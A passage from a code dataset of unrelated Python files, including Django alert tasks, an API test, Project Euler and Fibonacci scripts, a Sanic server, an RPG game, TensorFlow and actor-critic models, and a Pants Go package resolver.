判断系统是否开启了相关通知\n # 发送邮件通知\n if SysConfig.objects.get(key='email_push').is_enabled == '0':\n email_html_body = render_to_string('mailnotice/_deadlocks_mail.html', {\n 'data': result,\n })\n\n # 发送邮件\n title = '探测到新的死锁'\n msg = EmailMessage(subject=title,\n body=email_html_body,\n from_email=EMAIL_FROM,\n to=list(args)\n )\n msg.content_subtype = \"html\"\n msg.send()\n\n # 发送钉钉通知\n if SysConfig.objects.get(key='dingding_push').is_enabled == '0':\n webhook = SysConfig.objects.get(key='dingding_push').value\n xiaoding = DingtalkChatbot(webhook)\n\n check_time = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n msg = '\\n'.join((f'【警告 ◕﹏◕,探测到新的死锁记录,探测时间:{check_time}】\\n', format_deadlock_data))\n\n xiaoding.send_text(msg=msg, is_at_all=True)\n\n # if SysConfig.objects.get(key='weixin_push').is_enabled == '0':\n # weixin_notice()\n","sub_path":"apps/sqlquery/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":6983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"619448061","text":"import requests\n\nfrom api.config.readconfig import ReadConfig\ndef test_uploadlog():\n access_token = ReadConfig().get_value(\"params\",\"access_token\")\n ip = ReadConfig().get_value(\"url\",\"ip\")\n adi = \"v1.2/meetingLog\"\n url = \"/\".join((ip , adi))\n header = {\"Content-Type\": \"application/json\",\n \"Authorization\": (\"Bearer\" + \" \" + access_token),\n \"token\": access_token ,\n \"terminalType\":\"mobile\"\n }\n\n body = {\n \"content\":\"云起云\"\n }\n r = requests.post(url,json=body,headers=header)\n print(r.text)\n if r.status_code == 200:\n print(\"测试通过\")\n\nif __name__ == \"__main__\":\n test_uploadlog()","sub_path":"app_api/Abandoned/云起云/test_uploadlog.py","file_name":"test_uploadlog.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"120317114","text":"\"\"\"\nProject Euler Problem 7\n=======================\n\nBy listing the first six prime numbers: 2, 3, 5, 7, 11, and 13, we can see\nthat the 6th prime is 13.\n\nWhat is the 10001st prime number?\n\"\"\"\n\nfrom prime import next_prime as np\n\ndef nth_prime(n):\n \"\"\"gives the n'th prime number, 1st prime number is 2\"\"\"\n p = 2\n i = 1\n while n != i:\n p = np(p)\n i += 1\n return p\n\nprint(nth_prime(10001))\n","sub_path":"euler-py/007.py","file_name":"007.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"352180058","text":"from django.urls import path\n\nfrom .api_views import CategoryAPIView, SmartphoneListAPIView, NotebookListAPIView, CustomersListAPIView\n\n\n\nurlpatterns = [\n path('categories/', CategoryAPIView.as_view(), name='categories_list'),\n path('customers/', CustomersListAPIView.as_view(), name='customers_list'),\n path('smartphones/', SmartphoneListAPIView.as_view(), name='smartphones'),\n path('smartphones/', SmartphoneListAPIView.as_view(), name='smartphone_detail'),\n path('notebooks/', NotebookListAPIView.as_view(), name='notebooks'),\n\n]","sub_path":"shop/mainapp/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"231750893","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 5 15:56:00 2017\n\n@author: vinnam\n\"\"\"\n\nfrom MHGP import MHGP\nimport numpy as np\nfrom sklearn import preprocessing\nimport settings\nimport functions\nfrom util_func import X_to_Z, Z_to_Xhat\nfrom sampling import find_enclosingbox\n\nclass BSLBO:\n def __init__(self, fun, K, N, M, Kr, L, Max_M, ACQ_FUN):\n# N = 10\n# M = 10\n# K = 1\n# fun = functions.sinc_simple2()\n# ACQ_FUN = 'EI'\n \n D = fun.D\n data = {}\n \n data['X'], data['y'] = fun.evaluate(np.random.uniform(low = -1.0, high = 1.0, size = [N, D]).astype(settings.dtype))\n data['max_fun'] = np.max(data['y'])\n scaler = preprocessing.MinMaxScaler((-1,1))\n \n data['y_scaled'] = scaler.fit_transform(data['y'])\n data['scaled_max_fun'] = np.array(1.0, dtype = settings.dtype)\n data['beta'] = fun.beta(data)\n \n types = ['X', 'y_scaled', 'scaled_max_fun']\n# types = ['X', 'y', 'max_fun']\n \n M = min(Max_M, M)\n \n gp = MHGP(M, K, D, ACQ_FUN = ACQ_FUN)\n \n gp.fitting(data, types)\n \n self.K = K\n self.M = M\n self.D = D\n self.fun = fun\n self.data = data\n self.types = types\n self.gp = gp\n self.scaler = scaler\n self.ACQ_FUN = ACQ_FUN\n self.L = L\n self.Kr = Kr\n self.Max_M = Max_M\n \n def iterate(self, num_sample):\n M = self.M\n D = self.D\n K = self.K\n L = self.L\n Kr = self.Kr\n \n data = self.data\n fun = self.fun\n types = self.types\n scaler = self.scaler\n gp = self.gp\n ACQ_FUN = self.ACQ_FUN\n \n Mu = gp.fitted_params['mu']\n cond = np.sqrt(gp.l_square) > L\n \n if np.any(cond):\n W = Mu[cond, :].reshape([-1, D])\n else:\n W = Mu[np.argsort(gp.l_square)[0:Kr], :]\n \n# print np.sqrt(gp.l_square)\n# print W.shape\n \n W = W.transpose()\n WT = np.transpose(W)\n WTW = np.matmul(WT, W)\n A = np.transpose(np.linalg.solve(WTW, WT)) # D x Ke\n Ke = A.shape[1]\n \n b = np.sqrt(Ke) * np.ones([D, 1])\n \n next_x_uncliped, next_x_obj = gp.finding_next(data, types, A, b, num_sample)\n next_x, next_y = fun.evaluate(next_x_uncliped)\n \n data['X'] = np.append(data['X'], next_x, axis = 0)\n data['y'] = np.append(data['y'], next_y, axis = 0)\n \n data['y_scaled'] = scaler.fit_transform(data['y'])\n \n data['max_fun'] = np.max(data['y'])\n data['beta'] = fun.beta(data)\n \n M = min(len(data['y']), self.Max_M)\n \n if len(data['y']) == M:\n self.gp = MHGP(M, K, D, ACQ_FUN = ACQ_FUN)\n \n self.gp.fitting(data, types)\n \n self.data = data\n self.M = M\n \n return next_x\n\ndef test():\n import matplotlib.pyplot as plt\n \n fun = functions.brainin(10)\n #fun = functions.sinc_simple2()\n #fun = functions.sinc_simple10()\n #fun = functions.sinc_simple()\n R = BSLBO(fun, 5, 500, 100, 2, 0.5, 100, ACQ_FUN = 'UCB')\n \n for i in xrange(10):\n data = R.data\n gp = R.gp\n \n # W = gp.fitted_params['mu'].transpose()\n W = gp.fitted_params['mu']\n W = W[np.argmax(gp.l_square), :].reshape([-1, R.D])\n W = W.transpose()\n \n # W = fun.W\n WT = np.transpose(W)\n WTW = np.matmul(WT, W)\n B = np.transpose(np.linalg.solve(WTW, WT)) # D x K\n D = fun.D\n \n fx_min, fx_max = find_enclosingbox(B, np.sqrt(D) * np.ones([D, 1]))\n fx = np.linspace(fx_min, fx_max, num = 100).reshape([100, 1])\n fy = fun.evaluate(Z_to_Xhat(fx, W))[1]\n \n mu, var, EI = gp.test(data, R.types, Z_to_Xhat(fx, W))\n \n next_x = R.iterate(1000)\n EI_scaled = preprocessing.MinMaxScaler((np.min(fy),np.max(fy))).fit_transform(EI.reshape([-1, 1]))\n \n plt.figure()\n plt.plot(fx, fy)\n plt.scatter(X_to_Z(data['X'], W), data['y'])\n plt.plot(fx, mu, 'k')\n plt.plot(fx, mu + np.sqrt(var), 'k:')\n plt.plot(fx, mu - np.sqrt(var), 'k:')\n plt.plot(fx, EI_scaled, '-.')\n plt.scatter(X_to_Z(data['X'][-1], W), np.min(data['y']), marker = 'x', color = 'g')\n plt.title('N is ' + str(len(data['y'])))\n plt.show()\n \n \n \n# Psi2_star = np.sum(gp.debug(data, R.types, data['X'], 'Psi2_star').transpose().reshape([-1, 20, 20]).transpose([0, 2, 1]), axis = 0)\n# Psi2 = gp.debug(data, R.types, data['X'], 'Psi2')\n \n \n# debugs = gp.debug(data, R.types, np.matmul(fx, W.transpose()))\n# fx1 = np.random.uniform(-1., 1., size = [1, 2])\n# mu, var, EI = gp.test(data, R.types, fx1) \n# a = gp.debug(data, R.types, fx1)\n# \n# np.trace(np.matmul(np.matmul(a[1], a[1].transpose()), a[2]).reshape([50, 50]))\n# \n# np.exp(2 * gp.fitted_params['log_sigma_f']) * np.matmul(a[2], a[1])\n# \n# from scipy.io import savemat\n# savemat('matdat', {'Lm' : Psi2_star, 'K_uu_Inv' : K_uu_Inv, 'Psi2_star' : Psi2_star})\n## [self.debugs['var_star1'], self.debugs['var_star2'], self.debugs['var_star3'], self.debugs['K_uu_Inv'], self.debugs['A_Inv'], self.debugs['Psi2_star'], self.debugs['Lstar']]\n# Lstar = np.squeeze(a[6])\n# Lm = a[7]\n# La = a[8]\n# Psi2_star = np.squeeze(a[5])\n# K_uu_Inv = a[3]\n# np.trace(np.linalg.solve(Lm, np.transpose(np.linalg.solve(Lm, Psi2_star))))\n# np.trace(solve_triangular(Lm, np.transpose(solve_triangular(Lm, Psi2_star))))\n# np.trace(np.matmul(K_uu_Inv, Psi2_star))\n# np.trace(np.matmul(K_uu_Inv, np.matmul(Lstar, Lstar.transpose())))\n# np.matmul(Lstar, Lstar.transpose())\n# \n# np.trace(np.matmul(a[3], np.squeeze(a[5])))\n# np.exp(2 * gp.fitted_params['log_tau']) * np.trace(np.matmul(a[4], np.squeeze(a[5])))\n# np.exp(2 * gp.fitted_params['log_tau']) * a[0]\n# \n# np.exp(2 * gp.fitted_params['log_sigma_f']) * (np.exp(2 * gp.fitted_params['log_tau']) * a[0] - a[1] + np.exp(2 * gp.fitted_params['log_sigma_f']) * a[2] + 1)\n# \n# np.exp(2 * gp.fitted_params['log_tau']) * a[0] - a[1] + 1\n# \n#\n#Alpha = gp.debug(data, R.types, data['X'], 'Alpha')\n#La = gp.debug(data, R.types, data['X'], 'La')\n#A = gp.debug(data, R.types, data['X'], 'A')\n#A_Inv = gp.debug(data, R.types, data['X'], 'A_Inv')\n#LaInvLmInv = gp.debug(data, R.types, data['X'], 'LaInvLmInv')\n#Psi1_star = gp.debug(data, R.types, data['X'], 'Psi1_star')\n#YPsi1InvLmInvLa = gp.debug(data, R.types, data['X'], 'YPsi1InvLmInvLa')\n#\n#gp.debug(data, R.types, data['X'], 'test_BB') - YPsi1InvLmInvLa.transpose()\n#\n#np.linalg.solve(np.matmul(Lm, La), np.matmul(Psi1_star, data['y']))\n#np.linalg.solve(La, np.linalg.solve(Lm, np.matmul(Psi1_star, data['y'])))\n#\n#Lm = gp.debug(data, R.types, data['X'], 'Lm')\n#La = gp.debug(data, R.types, data['X'], 'La')\n#\n#K_uu_Inv = gp.debug(data, R.types, data['X'], 'K_uu_Inv')\n#K_uu = gp.debug(data, R.types, data['X'], 'K_uu')\n#mu_star = gp.debug(data, R.types, data['X'], 'mu_star')\n#\n#var_star1 = gp.debug(data, R.types, data['X'], 'var_star1')\n#var_star11 = gp.debug(data, R.types, data['X'], 'var_star11')\n#\n#var_star2 = gp.debug(data, R.types, data['X'], 'var_star2')\n#var_star22 = gp.debug(data, R.types, data['X'], 'var_star22')\n#\n#print var_star2\n#print var_star22\n#\n#var_star3 = gp.debug(data, R.types, data['X'], 'var_star3')\n#var_star33 = gp.debug(data, R.types, data['X'], 'var_star33')\n#\n#print var_star3\n#print var_star33\n#\n#var_star1 = gp.debug(data, R.types, data['X'][1].reshape([-1, 2]), 'var_star1')\n#var_star11 = gp.debug(data, R.types, data['X'][1].reshape([-1, 2]), 'var_star11')\n#\n#Psi2_star1 = gp.debug(data, R.types, data['X'][0].reshape([-1, 2]), 'Psi2_star')\n#var_star1 = gp.debug(data, R.types, data['X'][0].reshape([-1, 2]), 'var_star1')\n#np.matmul(Psi1_star, Alpha)\n#\n#\n#import tensorflow as tf\n#sess = tf.InteractiveSession()\n#test = tf.reshape(tf.range(18.), [2, 3, 3])\n#test = test\n#Lm = tf.matrix_band_part(tf.reshape(tf.range(1., 10.), [3, 3]), -1, 0)\n#La = tf.matrix_band_part(tf.reshape(tf.range(3., 12.), [3, 3]), -1, 0)\n#\n#print sess.run(tf.matrix_triangular_solve(La, tf.matrix_triangular_solve(Lm, \\\n#tf.transpose(tf.matrix_triangular_solve(La, tf.matrix_triangular_solve(Lm, test[0]))))))\n#\n#print sess.run(tf.matrix_triangular_solve(tf.matmul(Lm, La), \\\n#tf.transpose(tf.matrix_triangular_solve(tf.matmul(Lm, La), test[0]))))\n#\n#print sess.run(tf.trace(tf.matrix_triangular_solve(tf.matmul(Lm, La), \\\n#tf.transpose(tf.matrix_triangular_solve(tf.matmul(Lm, La), test[0])))))\n#\n#print sess.run(tf.trace(tf.matrix_solve(tf.matmul(tf.matmul(Lm, La), tf.transpose(tf.matmul(Lm, La))), test[0])))\n#\n#\n#M = 3\n#\n#test1 = tf.transpose(tf.reshape(tf.transpose(test, [0, 2, 1]), [-1, M]))\n#\n#print sess.run(test)\n#print sess.run(test1)\n#\n#test2 = tf.matrix_triangular_solve(La, tf.matrix_triangular_solve(Lm, test1))\n#\n#print sess.run(test2[:, :3])\n#print sess.run(tf.matrix_triangular_solve(La, tf.matrix_triangular_solve(Lm, test[0])))\n#\n#test3 = tf.transpose(tf.reshape(tf.transpose(test2), [-1, M, M]), [0, 2, 1])\n#\n#print sess.run(test3)\n#\n#test4 = tf.transpose(tf.reshape(test3, [-1, M]))\n#\n#print sess.run(test4[:, :3])\n#print sess.run(tf.transpose(tf.matrix_triangular_solve(tf.matmul(Lm, La), test[0])))\n#\n#test5 = tf.matrix_triangular_solve(La, tf.matrix_triangular_solve(Lm, test4))\n#\n#test6 = tf.transpose(tf.reshape(tf.transpose(test5), [-1, M, M]), [0, 2, 1])\n#\n#print sess.run(test6[0])\n#\n#print sess.run(tf.trace(test6))\n#\n#\n","sub_path":"BSLBO (Backup).py","file_name":"BSLBO (Backup).py","file_ext":"py","file_size_in_byte":9720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"48060923","text":"#!/bin/env python\n# -*-coding:utf-8-*-\n\nimport os\nimport importlib\n\n# 先加载这里的logger\nfrom core.common.mylog import logger\nfrom core.conf import settings\n\nfrom sanic import Sanic\n\n\napp = Sanic(__name__)\n\n\nmodules = [\n 'account',\n]\n\ndef dispatch(item):\n async def _dispatch(*args, **kwargs):\n obj = item[1]\n kwargs[\"controller_obj\"] = item[2]\n # 当item == 4 说明get post put delete 用默认function\n if len(item) in (3, 4):\n return obj(*args, **kwargs).dispatch()\n else:\n return obj(*args, **kwargs).dispatch(item[3])\n return _dispatch\n\nmethods = [\"GET\", \"POST\", \"PUT\", \"DELETE\", \"HEAD\", \"OPTIONS\"]\nfor i in modules:\n urls_modules = importlib.import_module('core.{0}.urls'.format(i))\n for j in getattr(urls_modules, 'urls', []):\n url_prefix = \"/v1/api/{0}/{1}\".format(i, j[0])\n app.add_route(dispatch(j), url_prefix, methods=methods)\n for j in getattr(urls_modules, 'restful_urls', []):\n app.add_route(dispatch(j), j[0], methods=j[-1])\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=18289, debug=settings.DEBUG)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"203102209","text":"import os\nfrom flask import Flask, jsonify, request\nfrom math import sqrt\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef sequencia_fibo():\n a = 0\n b = 1\n x = 0\n fibonacci = '0 1 '\n\n # 48 porque já inicio com 0 e 1, portanto, os 50 primeiros números.\n while x <= 48:\n c = a + b\n\n a = b\n b = c\n\n fibonacci += str(c) + ' '\n\n x += 1\n return fibonacci\n\n\nif __name__ == \"__main__\":\n port = int(os.environ.get(\"PORT\", 5000))\n app.run(host='0.0.0.0', port=port)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"649155496","text":"instruction = []\n\nfor i in range(0,16413):\n instruction.append(\"00000000\")\n\nfibonacci_ins = open(\"./Fibonacci.txt\", \"r\")\n\nlines = fibonacci_ins.readlines()\n\nfor line in lines:\n temp = line.split()\n if len(temp) >= 3 and temp[0][len(temp[0]) - 1] == \":\" and temp[2] != \"format\":\n instruction.append(temp[1])\n\nfibonacci_ins.close()\n\nw = open('instruction.txt', 'w')\n\nw.write('\\n'.join(instruction))\n","sub_path":"test_program/3.0/instruction.py","file_name":"instruction.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"477344060","text":"from skimage.metrics import structural_similarity as ssim\r\nimport cv2\r\n\r\nimport sys\r\n\r\nNUM_TOTAL_FRAMES = 16200\r\n\r\ndef compare_frames(curr_frame, next_frame):\r\n s = ssim(curr_frame, next_frame, multichannel=True)\r\n return s\r\n\r\nif __name__ == '__main__':\r\n frames_path = sys.argv[1]\r\n\r\n start_frame = 0\r\n\r\n for i in range(NUM_TOTAL_FRAMES - 1):\r\n curr_frame = cv2.imread(frames_path + \"frame\" + str(i) + \".jpg\")\r\n next_frame = cv2.imread(frames_path + \"frame\" + str(i + 1) + \".jpg\")\r\n\r\n s = compare_frames(curr_frame, next_frame)\r\n\r\n shot_len = i - start_frame\r\n\r\n concert_thresholds = s < 0.2 and shot_len > 5\r\n meridian_thresholds = s < 0.3 and shot_len > 5\r\n soccer_thresholds = s < 0.4 and shot_len > 5\r\n\r\n is_last_frame = i == NUM_TOTAL_FRAMES - 2\r\n\r\n if meridian_thresholds or is_last_frame:\r\n if is_last_frame:\r\n i = i + 1\r\n\r\n print(str(start_frame) + \" \" + str(i))\r\n\r\n start_frame = i + 1\r\n","sub_path":"videoSummary/summarizer/calculations/boundary/ssim_analysis.py","file_name":"ssim_analysis.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"620752212","text":"\"\"\"\nIn this simple RPG game, the hero fights the goblin. He has the options to:\n\n1. fight goblin\n2. do nothing - in which case the goblin will attack him anyway\n3. flee\n\n\"\"\"\n\nfrom classes_rpg_0 import Hero, Goblin, Zombie, Character\n\n\n\ndef main():\n goblin = Goblin( \"goblin\", 100, 5)\n hero = Hero(\"hero\", 100, 10)\n zombie = Zombie(\"zombie\", float('inf'), 2)\n \n while hero.is_alive() :\n goblin.print_status()\n hero.print_status()\n \n print()\n print(\"What do you want to do?\")\n print(\"1. fight goblin\")\n print(\"2. do nothing\")\n print(\"3. flee\")\n \n print(\"> \",)\n user_input = input()\n if user_input == \"1\":\n # Hero attacks goblin\n hero.attack(goblin)\n if goblin.health <= 0:\n print(\"The goblin is dead.\")\n goblin = zombie\n zombie.attack(hero)\n elif user_input == \"2\":\n pass\n elif user_input == \"3\":\n print(\"Goodbye.\")\n break\n \n \n else:\n print(\"Invalid input %r\" % user_input)\n \n if goblin.health > 0:\n # Goblin attacks hero\n goblin.attack(hero)\n if hero.health <= 0:\n print(\"You are dead.\")\n\nmain()\n","sub_path":"2_rpg-part1.py","file_name":"2_rpg-part1.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"535342283","text":"#!/usr/bin/env python3\n\"\"\"\nForward pop\n\"\"\"\n\n\nimport tensorflow as tf\n\n\ndef forward_prop(x, layer_sizes=[], activations=[]): \n \"\"\"\n Creates the forward propagation grap\n \"\"\"\n create_layer = __import__('1-create_layer').create_layer\n for i in range(len(layer_sizes)):\n if i is 0:\n output = create_layer(x, layer_sizes[i], activations[i])\n else:\n output = create_layer(output, layer_sizes[i], activations[i])\n return output\n","sub_path":"0x02-tensorflow/2-forward_prop.py","file_name":"2-forward_prop.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"562328392","text":"#!/usr/bin/env python\n\nimport tensorflow as tf\nfrom GHER.util import store_args, nn\n\nclass ActorCritic:\n @store_args\n def __init__(self, inputs_tf, dimo, dimg, dimu, max_u, o_stats, g_stats, hidden, layers,\n **kwargs):\n \"\"\"The actor-critic network and related training code.\n\n Args:\n # Input_tf represents the input tensor, including obs, goal, action\n inputs_tf (dict of tensors): all necessary inputs for the network: the\n observation (o), the goal (g), and the action (u)\n\n # dimo, g, u Representing obs, goal, action Dimension\n dimo (int): the dimension of the observations\n dimg (int): the dimension of the goals\n dimu (int): the dimension of the actions\n\n # action Range of need to be regulated\n max_u (float): the maximum magnitude of actions; action outputs will be scaled accordingly\n\n # Both o_stats and g_stats are objects of Normalizer, which are used to state the state. O_stats and g_stats are saved.\n Mean and std corresponding to obs or goal, and updated. The Normalizer function is also provided.\n o_stats (GHER.Normalizer): normalizer for observations\n g_stats (GHER.Normalizer): normalizer for goals\n\n # Network structure control\n hidden (int): number of hidden units that should be used in hidden layers\n layers (int): number of hidden layers\n\n \"\"\"\n # Extract the tensor corresponding to obs, goal, action\n self.o_tf = inputs_tf['o']\n self.g_tf = inputs_tf['g']\n self.u_tf = inputs_tf['u']\n\n # Prepare inputs for actor and critic.\n # Normalize the tensor of obs, goal\n o = self.o_stats.normalize(self.o_tf)\n g = self.g_stats.normalize(self.g_tf)\n\n # Actor network\n # Obs and goal are connected to form a new representation of the state state. As an input to the Actor, the output action\n input_pi = tf.concat(axis=1, values=[o, g]) # for actor\n # input_pi Input for the network\n # max_u Profiling the range of motion of the final output\n # The last layer activation function is tanh, and the internal activation function is relu\n # The number of neurons in each hidden layer is self.hidden, and the number of network layers is self.layers\n # The number of neurons in the last layer is self.dimu (action dimension)\n with tf.variable_scope('pi'):\n self.pi_tf = self.max_u * tf.tanh(nn(\n input_pi, [self.hidden] * self.layers + [self.dimu]))\n \n # Critic Network\n # Q(s,a,g) so the input to the network is o, g and action u\n # Network structure: The number of neurons in each layer of the hidden layer is equal, which is self.layers, and the output has only one node.\n\n with tf.variable_scope('Q'):\n \n # for policy training\n # When training an actor, you need to use the action output by the Actor as an input to Critic\n # The goal of the Actor is to maximize the output of Critic, so the loss is the opposite of the Critic output, which is -self.Q_pi_tf\n input_Q = tf.concat(axis=1, values=[o, g, self.pi_tf / self.max_u])\n self.Q_pi_tf = nn(input_Q, [self.hidden] * self.layers + [1])\n \n # for critic training\n # When training Critic, you need to enter the action that the agent actually performs. self.u_tf\n # Really executed actions may add noise to the Actor output, and gradients are not passed to the Actor\n input_Q = tf.concat(axis=1, values=[o, g, self.u_tf / self.max_u])\n self._input_Q = input_Q # exposed for tests\n self.Q_tf = nn(input_Q, [self.hidden] * self.layers + [1], reuse=True)\n","sub_path":"GHER/actor_critic.py","file_name":"actor_critic.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"340974900","text":"# Copyright 2021 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\nfrom __future__ import annotations\n\nimport json\nimport logging\nfrom dataclasses import dataclass\n\nfrom pants.backend.go.target_types import (\n GoExternalPackageDependencies,\n GoImportPath,\n GoModuleSources,\n GoPackageSources,\n)\nfrom pants.backend.go.util_rules.go_mod import (\n FindNearestGoModuleRequest,\n ResolvedGoModule,\n ResolvedOwningGoModule,\n ResolveGoModuleRequest,\n)\nfrom pants.backend.go.util_rules.sdk import GoSdkProcess\nfrom pants.build_graph.address import Address\nfrom pants.core.util_rules.source_files import SourceFiles, SourceFilesRequest\nfrom pants.engine.internals.selectors import Get, MultiGet\nfrom pants.engine.process import ProcessResult\nfrom pants.engine.rules import collect_rules, rule\nfrom pants.engine.target import Target, WrappedTarget\n\nlogger = logging.getLogger(__name__)\n\n\n# A fully-resolved Go package. The metadata is obtained by invoking `go list` on the package.\n# TODO: Add class docstring with info on the fields.\n# TODO: Consider renaming some of these fields once use of this class has stabilized.\n@dataclass(frozen=True)\nclass ResolvedGoPackage:\n # Address of the `go_package` target (if any).\n address: Address | None\n\n # Import path of this package. The import path will be inferred from an owning `go_module` if present.\n import_path: str\n\n # Address of the owning `go_module` if present. The owning `go_module` is the nearest go_module at the same\n # or higher level of the source tree.\n module_address: Address | None\n\n # External module information\n module_path: str | None\n module_version: str | None\n\n # Name of the package as given by `package` directives in the source files. Obtained from `Name` key in\n # package metadata.\n package_name: str\n\n # Import paths used by this package. Obtained from `Imports` key in package metadata.\n imports: tuple[str, ...]\n\n # Imports from test files. Obtained from `TestImports` key in package metadata.\n test_imports: tuple[str, ...]\n\n # Explicit and transitive import paths required to build the code. Obtained from `Deps` key in package metadata.\n dependency_import_paths: tuple[str, ...]\n\n # .go source files (excluding CgoFiles, TestGoFiles, XTestGoFiles). Obtained from `GoFiles` key in package metadata.\n go_files: tuple[str, ...]\n\n # .go source files that import \"C\". Obtained from `CgoFiles` key in package metadata.\n cgo_files: tuple[str, ...]\n\n # .go source files ignored due to build constraints. Obtained from `IgnoredGoFiles` key in package metadata.\n ignored_go_files: tuple[str, ...]\n\n # non-.go source files ignored due to build constraints. Obtained from `IgnoredOtherFiles` key in package metadata.\n ignored_other_files: tuple[str, ...]\n\n # .c source files\n c_files: tuple[str, ...]\n\n # .cc, .cxx and .cpp source files\n cxx_files: tuple[str, ...]\n\n # .m source files\n m_files: tuple[str, ...]\n\n # .h, .hh, .hpp and .hxx source files\n h_files: tuple[str, ...]\n\n # .s source files\n s_files: tuple[str, ...]\n\n # .syso object files to add to archive\n syso_files: tuple[str, ...]\n\n # _test.go files in package. Obtained from `TestGoFiles` key in package metadata.\n test_go_files: tuple[str, ...]\n\n # _test.go files outside package. Obtained from `XTestGoFiles` key in package metadata.\n xtest_go_files: tuple[str, ...]\n\n @classmethod\n def from_metadata(\n cls,\n metadata: dict,\n *,\n import_path: str | None = None,\n address: Address | None = None,\n module_address: Address | None = None,\n module_path: str | None = None,\n module_version: str | None = None,\n ) -> ResolvedGoPackage:\n # TODO: Raise an exception on errors. They are only emitted as warnings for now because the `go` tool is\n # flagging missing first-party code as a dependency error. But we want dependency inference and won't know\n # what the dependency actually is unless we first resolve the package with that dependency. So circular\n # reasoning. We may need to hydrate the sources for all go_package targets that share a `go_module`.\n if metadata.get(\"Incomplete\"):\n error_dict = metadata.get(\"Error\", {})\n if error_dict:\n error_str = error_to_string(error_dict)\n logger.warning(\n f\"Error while resolving Go package at address {address}: {error_str}\"\n )\n # TODO: Check DepsErrors key as well.\n\n # Raise an exception if any unsupported source file keys are present in the metadata.\n for key in (\n \"CompiledGoFiles\",\n \"FFiles\",\n \"SwigFiles\",\n \"SwigCXXFiles\",\n ):\n files = metadata.get(key, [])\n package_description = (\n f\"go_package at address {address}\"\n if address\n else f\"external package at import path {import_path} in {module_path}@{module_version}\"\n )\n if files:\n raise ValueError(\n f\"The {package_description} contains the following unsupported source files \"\n f\"that were detected under the key '{key}': {', '.join(files)}.\"\n )\n\n return cls(\n address=address,\n import_path=import_path if import_path is not None else metadata[\"ImportPath\"],\n module_address=module_address,\n module_path=module_path,\n module_version=module_version,\n package_name=metadata[\"Name\"],\n imports=tuple(metadata.get(\"Imports\", [])),\n test_imports=tuple(metadata.get(\"TestImports\", [])),\n dependency_import_paths=tuple(metadata.get(\"Deps\", [])),\n go_files=tuple(metadata.get(\"GoFiles\", [])),\n cgo_files=tuple(metadata.get(\"CgoFiles\", [])),\n ignored_go_files=tuple(metadata.get(\"IgnoredGoFiles\", [])),\n ignored_other_files=tuple(metadata.get(\"IgnoredOtherFiles\", [])),\n c_files=tuple(metadata.get(\"CFiles\", [])),\n cxx_files=tuple(metadata.get(\"CXXFiles\", [])),\n m_files=tuple(metadata.get(\"MFiles\", [])),\n h_files=tuple(metadata.get(\"HFiles\", [])),\n s_files=tuple(metadata.get(\"SFiles\", [])),\n syso_files=tuple(metadata.get(\"SysoFiles\", [])),\n test_go_files=tuple(metadata.get(\"TestGoFiles\", [])),\n xtest_go_files=tuple(metadata.get(\"XTestGoFiles\", [])),\n )\n\n\n@dataclass(frozen=True)\nclass ResolveGoPackageRequest:\n address: Address\n\n\ndef error_to_string(d: dict) -> str:\n pos = d.get(\"Pos\", \"\")\n if pos:\n pos = f\"{pos}: \"\n\n import_stack_items = d.get(\"ImportStack\", [])\n import_stack = f\" (import stack: {', '.join(import_stack_items)})\" if import_stack_items else \"\"\n return f\"{pos}{d['Err']}{import_stack}\"\n\n\ndef is_first_party_package_target(tgt: Target) -> bool:\n return tgt.has_field(GoPackageSources)\n\n\ndef is_third_party_package_target(tgt: Target) -> bool:\n return tgt.has_field(GoExternalPackageDependencies)\n\n\n@rule\nasync def resolve_go_package(\n request: ResolveGoPackageRequest,\n) -> ResolvedGoPackage:\n wrapped_target, owning_go_module_result = await MultiGet(\n Get(WrappedTarget, Address, request.address),\n Get(ResolvedOwningGoModule, FindNearestGoModuleRequest(request.address.spec_path)),\n )\n target = wrapped_target.target\n\n if not owning_go_module_result.module_address:\n raise ValueError(f\"The go_package at address {request.address} has no owning go_module.\")\n resolved_go_module = await Get(\n ResolvedGoModule, ResolveGoModuleRequest(owning_go_module_result.module_address)\n )\n go_module_spec_path = resolved_go_module.target.address.spec_path\n assert request.address.spec_path.startswith(go_module_spec_path)\n spec_subpath = request.address.spec_path[len(go_module_spec_path) :]\n\n # Compute the import_path for this go_package.\n import_path_field = target.get(GoImportPath)\n if import_path_field and import_path_field.value:\n # Use any explicit import path set on the `go_package` target.\n import_path = import_path_field.value\n else:\n # Otherwise infer the import path from the owning `go_module` target. The inferred import path will be the\n # module's import path plus any subdirectories in the 